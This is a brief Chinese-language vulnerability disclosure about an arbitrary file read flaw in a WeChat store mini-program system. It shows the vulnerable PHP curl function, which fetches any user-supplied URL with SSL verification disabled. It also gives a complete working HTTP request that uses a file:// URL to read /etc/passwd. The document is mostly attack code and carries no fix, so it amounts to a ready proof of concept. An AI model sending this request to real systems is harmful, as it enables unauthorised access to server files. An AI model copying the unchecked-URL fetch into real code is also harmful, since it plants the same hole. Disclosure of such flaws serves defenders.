某微信万能门店小程序系统存在任意文件读取漏洞

//不带报头的curlpublicfunction_requestPost($url, $data, $ssl = true){//curl完成    $curl = curl_init();//设置curl选项    curl_setopt($curl, CURLOPT_URL, $url);//URL    $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 FirePHP/0.7.4';    curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);//user_agent，请求代理信息    curl_setopt($curl, CURLOPT_AUTOREFERER, true);//referer头，请求来源    curl_setopt($curl, CURLOPT_TIMEOUT, 30);//设置超时时间//SSL相关if ($ssl) {      curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//禁用后cURL将终止从服务端进行验证      curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);//检查服务器SSL证书中是否存在一个公用名(common name)。    }// 处理post相关选项    curl_setopt($curl, CURLOPT_POST, true);// 是否为POST请求    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);// 处理请求数据// 处理响应结果    curl_setopt($curl, CURLOPT_HEADER, false);//是否处理响应头    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);//curl_exec()是否返回响应结果// 发出请求    $response = curl_exec($curl);if (false === $response) {echo'<br>', curl_error($curl), '<br>';returnfalse;    }    curl_close($curl);return $response;  }

GET /api/wxapps/_requestPost?url=file:///etc/passwd&data=1 HTTP/2Host: 127.0.0.1Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="101"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close